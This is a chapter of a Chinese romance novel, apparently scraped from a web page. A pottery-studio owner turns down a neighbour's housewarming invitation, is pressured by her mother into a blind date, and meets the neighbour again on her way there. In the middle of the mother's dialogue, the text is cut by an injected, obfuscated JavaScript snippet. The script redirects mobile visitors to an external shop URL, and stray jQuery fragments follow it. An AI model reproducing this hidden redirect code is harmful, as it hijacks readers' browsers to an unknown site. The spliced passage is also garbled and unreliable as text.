那日分别之后,鹭时虽每日过来接送Andy,但几乎没碰见江瓷。
江瓷这一周忙得难以分身乏术。周三休息日,没能按照原计划美美自然醒,反而匆忙赶去机场,接到旅游归来的周小琴和江卓维后,又赶回工作室。
今天终于能闲下些许。
江瓷再一次翻看和客户的聊天界面,拿起一支铅笔,在素描本上勾画起来。
忽然,苏晓森推开关严实的隔断门,探了个脑袋进来,冲江瓷喊道:“姐,有人找你。”
找她?
江瓷笔尖悬停,问了一句,是谁。苏晓森蹬蹬下楼,又上来:“姐,他说他叫鹭时。”
鹭时?
想来是过来接Andy下课,只不过,陶艺课下课时间还有半个小时,怎么提早过来了?
“你让他上二楼吧。”江瓷说。
“好的。”
苏晓森离开时,隔断门未关严实,沉稳的脚步声一步一步,由远及近。
鹭时透过透明玻璃门,窥见室内的光景。
难得天晴,窗外阳光正好,仍枝繁叶茂的绿树,影影绰绰。养在窗台花盆不知从哪移来的小花,开得正盛。
江瓷背对门口,坐在靠窗而放的长桌前,黑发悉数挽起,露出纤细修长的后颈。她执笔伏案,不知在写写画画些什么。
鹭时礼貌敲门,推门而入。
“在忙?”他问道。
江瓷合上素描本,回头:“嗯,接了一个定制的单子,在给客户画设计稿。”
“看来打扰到你了。”鹭时说。
江瓷抿唇笑笑,给他递上一瓶水:“不会。过来接Andy?”
“过来找你。”鹭时朝她走近,接过水,没拧开,只虚握在手心,“顺便接Andy。”
“找我?”江瓷意外,挑了下眉。
“嗯。”鹭时又走近一步,“今晚有时间吗?”
江瓷略一思忖,猜不透他到底是何意。她在心里保留答案,没第一时间给出答复,反而问了一句何事。
“温居暖房,几个朋友聚一聚。”
江瓷慢下眨眼的频率,扫过他垂在身侧的手。在这放缓的一瞬间,权衡结束。
她何时和鹭时关系这般密切了?似乎还没到朋友的程度。
她推脱,歉意道:“哎,不巧。今天刚接到母上大人电话,让我今晚回家。她说,再不回去,就把我从户口本上踢走。”
江瓷真假参半。真的是,她确实又好几天没着家。假的是,周小琴没给她打电话。
她又半开玩笑道:“怎么不在手机里说?要是提前两天,还真能空出时间。”
“面对面交流显然更有诚意。”鹭时攥紧矿泉水瓶笑了笑,“看来我又晚了一步。”
江瓷无声浅勾嘴角:“虽然不能到场,不过现补一句乔迁大吉,来得及吧?”
“谢谢祝语。”
“我是第一个吗?”江瓷微仰起头,看向对面。
鹭时点头:“是。”
江瓷双手往后撑着桌面,摸到一个圆滚滚的小摆件,“唔”一声。
鹭时这边得到答复,不再过多耽误她的时间,他和江瓷说一声,就要离开,反倒被她叫住。
“哎,鹭时。在这里等我几分钟。”江瓷说,“先坐着,我一会儿就回来。”
“好。”
江瓷说完,推开门下楼。再上楼时,手里多了一个精美的竹编盒子。
鹭时双手接过,疑惑道:“这是?”
“乔迁礼物。”江瓷拢了下长裙,在他身侧坐下,“谢谢你诚挚的邀请。”
“我可以现在打开吗?”鹭时问。
“当然。”江瓷并腿,手肘支在膝上,托着腮,“要是不喜欢,可以自己下楼挑。”
鹭时反驳她:“不会,我很喜欢。”
江瓷没忍住,笑了声:“哎,你会不会太敷衍了,还没看呢。”
鹭时最后还是没看,他决定将这份礼物,当作盲盒,回家再细品这一份猝不及防的惊喜。
-
五点整,陶艺课下课,也意味着为期十八天的课程,正式结课。
江瓷随着小豆丁们下楼,就站在门口,一个个和他们道别。
Andy离开前,送了她一只绿油油的毛毛虫摆件,还说会想她。
小豆丁们都被接走,江瓷这才上楼找过来接徐沐然的安明月。
不同于以往,出差回来的徐亦禾也一同前来接孩子。
徐沐然有段时间没见爸爸,格外想念。嘴巴叽叽喳喳说着这段时间的趣事。
安明月没在父女俩身旁,反而坐在江瓷方才画设计稿的椅子上:“我们刚才在楼下碰见鹭时了,那个小孩是他孩子?”
江瓷端起马克杯,反身靠在桌边:“不是,是他外甥。”
“单身?”安明月问。
“他说是。”
具体是不是真单身,她也不清楚。凭一面之词就相信一个人,是相当不理智的行为。
“不打算了解试试?”安明月又说,“我问过亦禾了,鹭时年后入职Z大,长聘副教授。其实他还真是个不错的选择。”
江瓷好笑地放下杯子,搭上她肩膀:“你什么时候跟宣文文一伙了?”
“她昨天来店里买豆子,说起你了。”
江瓷连哎两声,佯装不爽:“不厚道了啊你们。”
安明月温柔一笑,见她毫无反应,便拉起江瓷的手,岔开话题:“瓶儿,过年前去文文家聚一聚吧。”
江瓷给她顺了下发尾,应下。
两人又聊了几句,徐亦禾等得不耐烦,开始催人。江瓷只静静瞄他一眼,和安明月徐沐然道别。
-
临下班前,江瓷的手机响起。
她拿起看来电显示,暗道,今天的嘴开光了不成?
父母真催她回家了,只不过打电话的是江卓维。这回,不回家真要被踹出户口簿了。
搞完工作室清洁,江瓷闭店,往家里赶。
打开家门,飘出阵阵菜香。
江卓维在厨房做饭,江瓷进去洗净手,从果篮拿了个小香梨开啃。腮帮子鼓着在客厅蹓跶一圈,晃悠进厨房。
江瓷扔掉梨核,又捻了块刚出锅的排骨,烫得龇牙咧嘴。吃完后,点评:“爸,这排骨淡了。”
“是吗?”江卓维也尝一块,将排骨回锅加调味料。
翻炒几下,重新将排骨乘出,他让江瓷帮忙递盘子,才开口:“瓶瓶,爸有个学生,在荔城这边创业,做什么AI,应用落地的。”
今天的江同志怎么回事?太阳打西边出来了?还是被周小琴女女士同化了?
江瓷眨眨眼,没接话。
“一会儿爸把他的好友名片推送给你。”江卓维说,“小伙子挺好的,跟你差两届,也算同龄人,可以互相了解了解。”
“知道了。”实在过于蹊跷,江瓷退一步,暂时答应,“我妈呢?知道这事儿吗?”
“知道。”
那更稀奇了,竟然不是周小琴主动提及。她问道:“我妈呢?”
“在房间里休息。”江卓维说。
“啊?感冒了?”
江卓维:“也不是。”
江瓷:“?”
“单位不是退休职工体检嘛,这不检查报告出来了——”江卓维说得慢吞吞,江瓷心里一惊,“不不不不会得什么病了吧?”
她那天确实打算看一眼体检报告,突然被别的事情岔开,转头就忘了一干二净。
江卓维欲言又止:“你、你自己进去看吧。”
房间里。
周小琴早听到了江瓷回家的动静,门外脚步声响起,门把手向下按压,江瓷的身影随之出现。
周小琴换了脸,入戏速度比演员还快。她靠在床头,抽了张纸巾半掩面哭泣:
“呜呜呜,我的命好苦啊———我这不中用的身体,呜呜呜,不知道能不能活到看着自己的女儿出嫁的那一天,呜呜呜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042276|148910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
———”
周演员面色红润,中气十足。江瓷在拖长的音调中,急切脸切换成面无表情。
江瓷长腿跨上床,盘腿坐在周小琴身边,拍拍她屈起的腿:“妈,行了行了别演了。不就是相亲吗?我去,我去还不成吗?”
“真的?”周小琴拿下纸巾,正脸瞧她。
果然。江瓷叹气。
“这可是你说的。”周小琴动作利落,拉开床头柜,抽出一张A4纸和一支签字笔,塞给江瓷,“把这个签了。”
“什么——”江瓷将纸翻个面,念出纸上的黑字,“保证书:本人江瓷,江卓维与周小琴之女,自愿承诺……”
简而言之,周小琴让她今年一定要结婚。要是做不到,赶紧把工作室关了,趁35岁之前,老老实实考编。
床头柜抽屉未合上,江瓷物归原位,走得毫不犹豫。
周小琴故技重施,江瓷不吃这一套,已经走出去好几步远。
卖惨换成了苦肉计,周小琴喊道:“你不签我就放弃治疗!”
江瓷停下脚步,垮着脸转身。心里想的却是,不知道现在租个男朋友回家是什么行情。
之前还嫌宣文文的提议不靠谱,现在却是能解救她于荒茫沙漠之中的绿洲。
眼前不知为何浮现鹭时那张风光霁月的脸,江瓷暗骂自己失心疯,怎么会想起找他帮忙。
她晃晃脑袋,挥散弥漫在眼前的雾,回归现实,琢磨细节。
江卓维演技明显比周小琴拙劣,从未催过她成家。周小琴瞎忙活干着急的时候,还会帮她说话。虽然妻管严,被周小琴一瞪,就闭嘴了。
怎么可能会主动给她相亲,问题只能出在周小琴身上。周小琴肯定是生病了,至于到哪一步,她也摸不准。
江瓷蹲在床头柜边,落笔之前说道:“妈,我签可以,但有个条件,你得如实告诉我你的病情,或者把体检报告给我看一眼。”
“行,妈说话算数。”
唰唰两笔,白纸落下大名。江瓷一撂笔,抱着胳膊看向周小琴。
周小琴将纸折好,塞进翻盖手机壳的卡套,掀被下床:“妈之前去体检——”
江瓷:“说重点,得了什么病。”
“痔疮。”
江瓷:“……………”
“我跟你说,你别小看痔疮,疼起来也是很遭罪的。”
“噢。”江瓷自顾往餐厅走,拉开餐椅坐下,生无可恋端起江卓维晾好的排骨汤,有一搭没一搭喝着。
周小琴挨着她坐下:“答应妈的事可别忘了。”
“字都签了,我能不去吗?”江瓷没脾气了。
“那就好。”周小琴放心了。
-
她如约加了江卓维推送过来的好友。对方也忙,两人对话每天聊不够十句。不过对方还是提出先见一面,江瓷也正有此意。
约定好碰见的时间,江瓷换下围裙,直接套了件沾泥点的羽绒服,有种不修边幅的无所谓。
屋外的天气和她的心情唱反调,晴空万里,蓝天白云色彩对比很分明。
江瓷婉拒对方上门接送业务,独自打车前往约定的餐厅。
走进大厅,上行的电梯门正缓缓合上。江瓷赶两步,忙按住按钮。
合上的电梯门重新打开,电梯里的人看向来人,稍稍让开了些。江瓷闷头走进,道一声抱歉。
“好巧。”
声音自头顶响起,江瓷抬头一看,失笑:“好巧,过来吃午饭?”
“嗯,你上几楼?”
景汇天地除了餐饮外,还有购物和娱乐场所,分布在不同楼层。鹭时伸长手,想帮她按电梯。
“八——欸,刚好在同一层。”江瓷意外道。
八楼正是一家三星米其林西餐厅。
鹭时盯她衣领处的泥点,莫名想去蹭蹭。他移开视线,问:“约了人?”
踏进电梯,温度升高,江瓷拉开羽绒衣拉链,随口应道,“啊,没。过来相亲。”